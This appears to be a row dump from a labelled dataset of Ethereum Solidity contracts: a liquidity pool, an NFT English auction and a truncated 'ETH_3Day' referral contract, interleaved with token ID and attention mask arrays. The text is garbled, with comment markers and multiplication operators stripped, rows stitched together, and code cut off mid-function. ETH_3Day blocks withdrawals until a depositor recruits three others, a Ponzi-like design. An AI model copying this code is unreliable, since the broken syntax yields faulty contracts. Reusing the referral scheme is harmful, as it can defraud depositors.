1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 2324, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 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// SPDX-License-Identifier: MIT /** * @title Liquidity Contract * @author: Muhammad Zaryab Khan * Developed By: BLOCK360 * Date: Septemeber 17, 2020 * Version: 1.0.0 / pragma solidity 0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface TokenInterface { function symbol() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface DexInterface { function collectedFee(string calldata currency) external view returns (uint256); } contract Liquidity is Ownable { using SafeMath for uint256; string public version = "1.0.0"; address public DEX; string[] public allLiquidities; mapping(string => address) public contractAddress; event DEXUpdated(address oldDEX, address newDEX); event TokenUpdated(string symbol, address newContract); event PaymentReceived(address from, uint256 amount); event LiquidityWithdraw( string symbol, address indexed to, uint256 amount, uint256 timestamp ); event LiquidityTransfer( string symbol, address indexed to, uint256 amount, uint256 timestamp ); /* * @dev Throws if called by any account other than the DEX. */ modifier onlyDEX() { require(DEX == _msgSender(), "Liquidity: caller is not DEX"); _; } constructor( address owner, address gsu, address usdt ) public { require(owner != address(0x0), "[Liquidity], owner is zero address"); require(gsu != address(0x0), "[Liquidity], gsu is zero address"); require(usdt != address(0x0), "[Liquidity], usdt is zero address"); allLiquidities.push("ETH"); newLiquidity(gsu); newLiquidity(usdt); transferOwnership(owner); } fallback() external payable { emit PaymentReceived(_msgSender(), msg.value); } receive() external payable { emit PaymentReceived(_msgSender(), msg.value); } function withdraw(string calldata symbol, uint256 amount) external onlyOwner { require(amount > 0, "[Liquidity] amount is zero"); require( balanceOf(symbol).sub(amount) >= DexInterface(DEX).collectedFee(symbol), "[Liquidity] amount exceeds available funds" ); if (isERC20Token(symbol)) TokenInterface(contractAddress[symbol]).transfer(owner(), amount); else address(uint160(owner())).transfer(amount); emit LiquidityWithdraw(symbol, owner(), amount, block.timestamp); } function transfer( string calldata symbol, address payable recipient, uint256 amount ) external onlyDEX returns (bool) { if (isERC20Token(symbol)) TokenInterface(contractAddress[symbol]).transfer(recipient, amount); else recipient.transfer(amount); emit LiquidityTransfer(symbol, recipient, amount, block.timestamp); return true; } function balanceOf(string memory symbol) public view returns (uint256) { if (isERC20Token(symbol)) return TokenInterface(contractAddress[symbol]).balanceOf( address(this) ); else return address(this).balance; } function isERC20Token(string memory symbol) public view returns (bool) { return contractAddress[symbol] != address(0x0); } function setDex(address newDEX) external onlyOwner returns (bool) { emit DEXUpdated(DEX, newDEX); DEX = newDEX; return true; } function newLiquidity(address _contract) private onlyOwner returns (bool) { string memory symbol = TokenInterface(_contract).symbol(); allLiquidities.push(symbol); contractAddress[symbol] = _contract; return true; } function setTokenContract(string calldata symbol, address newContract) external onlyOwner returns (bool) { require(isERC20Token(symbol)); contractAddress[symbol] = newContract; emit TokenUpdated(symbol, newContract); return true; } function totalLiquidities() external view returns (uint256) { return allLiquidities.length; } function destroy() external onlyOwner { // index 0 is ethereum for (uint8 a = 1; a < allLiquidities.length; a++) { string memory currency = allLiquidities[a]; TokenInterface(contractAddress[currency]).transfer( owner(), balanceOf(currency) ); } selfdestruct(payable(owner())); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 1008, 1030, 2516, 6381, 3012, 3206, 1008, 1030, 3166, 1024, 7187, 23564, 20444, 2497, 4967, 1008, 2764, 2011, 1024, 3796, 21619, 2692, 1008, 3058, 1024, 17419, 21382, 5677, 2459, 1010, 12609, 1008, 2544, 1024, 1015, 1012, 1014, 1012, 1014, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 1036, 9239, 2015, 2023, 26406, 2011, 7065, 8743, 2075, 1996, 12598, 2043, 2019, 1008, 3169, 2058, 12314, 2015, 1012, 1008, 1008, 2478, 2023, 3075, 2612, 1997, 1996, 4895, 5403, 18141, 3136, 11027, 2015, 2019, 2972, 1008, 2465, 1997, 12883, 1010, 2061, 2009, 1005, 1055, 6749, 2000, 2224, 2009, 2467, 1012, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2804, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1009, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 2804, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4942, 6494, 7542, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1006, 2043, 1996, 2765, 2003, 4997, 1007, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1011, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 4942, 6494, 7542, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4942, 6494, 7542, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2007, 7661, 4471, 2006, 1008, 2058, 12314, 1006, 2043, 1996, 2765, 2003, 4997, 1007, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1011, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 4942, 6494, 7542, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-02-17 / // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.7; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC1155 { function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; } contract EnglishAuction { using SafeMath for uint256; // System settings uint256 public id; address public token; bool public ended = false; uint256 public startBidTime; address payable public haus; address payable public seller; uint256 public bidLength = 24 hours; uint256 public auctionLength = 24 hours; // Current winning bid uint256 public lastBid; uint256 public lastBidTime; address payable public winning; event Bid(address who, uint256 amount); event Won(address who, uint256 amount); constructor(uint256 _start, address payable _seller, address payable _haus) public { token = address(0x13bAb10a88fc5F6c77b87878d71c9F1707D2688A); id = 31; startBidTime = _start; lastBid = 0.55 ether; seller = _seller; haus = _haus; } function bid() public payable { require(msg.sender == tx.origin, "no contracts"); require(block.timestamp >= startBidTime, "Auction not started"); require(block.timestamp < startBidTime.add(auctionLength), "Auction ended"); require(msg.value >= lastBid.mul(105).div(100), "Bid too small"); // Give back the last bidders money if (lastBidTime != 0) { require(block.timestamp < lastBidTime.add(bidLength), "Auction ended"); winning.transfer(lastBid); } lastBid = msg.value; winning = msg.sender; lastBidTime = block.timestamp; emit Bid(msg.sender, msg.value); } function end() public { require(!ended, "end already called"); require(lastBidTime != 0, "no bids"); require(block.timestamp >= lastBidTime.add(bidLength) \|\| block.timestamp >= startBidTime.add(auctionLength), "Auction live"); // transfer erc1155 to winner IERC1155(token).safeTransferFrom(address(this), winning, id, 1, new bytes(0x0)); uint256 balance = address(this).balance; uint256 hausFee = balance.div(20).mul(3); haus.transfer(hausFee); seller.transfer(address(this).balance); ended = true; emit Won(winning, lastBid); } function pull() public { require(!ended, "end already called"); require(lastBidTime == 0, "There were bids"); require(block.timestamp >= startBidTime.add(auctionLength), "Auction live"); // transfer erc1155 to seller IERC1155(token).safeTransferFrom(address(this), seller, id, 1, new bytes(0x0)); ended = true; } function live() external view returns(bool) { if (block.timestamp < lastBidTime.add(bidLength) && block.timestamp < startBidTime.add(auctionLength)) { return true; } return false; } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns(bytes4) { return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6185, 1011, 2459, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1021, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 9034, 1005, 1037, 1005, 2025, 2108, 5717, 1010, 2021, 1996, 1013, 1013, 5770, 2003, 2439, 2065, 1005, 1038, 1005, 2003, 2036, 7718, 1012, 1013, 1013, 2156, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 4139, 1013, 4720, 2475, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4487, 2615, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 2407, 2011, 5717, 1000, 1007, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 5024, 3012, 2069, 8073, 19514, 2043, 16023, 2011, 1014, 5478, 1006, 1038, 1028, 1014, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 1013, 1013, 20865, 1006, 1037, 1027, 1027, 1038, 1008, 1039, 1009, 1037, 1003, 1038, 1007, 1025, 1013, 1013, 2045, 2003, 2053, 2553, 1999, 2029, 2023, 2987, 1005, 1056, 2907, 2709, 1039, 1025, 1065, 3853, 16913, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2020-11-05 / // SPDX-License-Identifier: MIT pragma experimental ABIEncoderV2; pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } contract ETH_3Day { using SafeMath for uint256; uint256 constant public CONTRACT_BALANCE_STEP = 3; address public manager; uint256 public day = 3 days; uint256 public rechargeTime; uint256 public minAmount = 1 ether; uint256 public percentage = 900; uint256 public totalUsers; address public ERC20; struct RechargeInfo{ address rec_addr; uint256 rec_value; uint256 rec_time; } RechargeInfo[] public rechargeAddress; struct UserInfo { address referrer; address[] directPush; uint256 amountWithdrawn; uint256 distributionIncome72; } mapping(address => UserInfo) public user; mapping(address => uint256) public balance; mapping(address => mapping(address => bool)) public userDireMap; constructor(address _token)public{ manager = msg.sender; ERC20 = _token; } // 充值 function deposit(address referrer,uint256 value) public { require(value >= minAmount,"Top up cannot be less than 1 eth"); // 验证72小时-分钱 distribution72(); IERC20(ERC20).transferFrom(msg.sender,address(this),value); UserInfo storage u = user[msg.sender]; // 当前用户没有上 && 推荐人不能是自己 if (u.referrer == address(0) && referrer != msg.sender) { // 添加上级 u.referrer = referrer; if (userDireMap[referrer][msg.sender] == false){ // 给上级添加当前下级 user[referrer].directPush.push(msg.sender); userDireMap[referrer][msg.sender] = true; } } if (balance[msg.sender] == 0){ totalUsers = totalUsers.add(1); } // 充值 balance[msg.sender] = balance[msg.sender].add(value); rechargeAddress.push(RechargeInfo({rec_addr:msg.sender,rec_value:value,rec_time:block.timestamp})); rechargeTime = block.timestamp; } // 提币 function withdraw(uint256 value) public { require(value > 0 && directPushMultiple(msg.sender) >= 3,"3 times withdrawal"); // 验证是否有足够提取额度 uint256 count = availableQuantity(msg.sender); require(count >= value,"Not enough quota"); // 提币 IERC20(ERC20).transfer(msg.sender,value); user[msg.sender].amountWithdrawn = user[msg.sender].amountWithdrawn.add(value); } // pool 总量 function getPoolETH() view public returns(uint256){ return IERC20(ERC20).balanceOf(address(this)); } // 充值总笔数 function getRecTotal() view public returns(uint256){ return rechargeAddress.length; } // 最后10笔交易 function getRec10() view public returns(RechargeInfo[] memory){ uint256 l = rechargeAddress.length; uint256 a = 0; uint256 i = 0; if (rechargeAddress.length>10){ 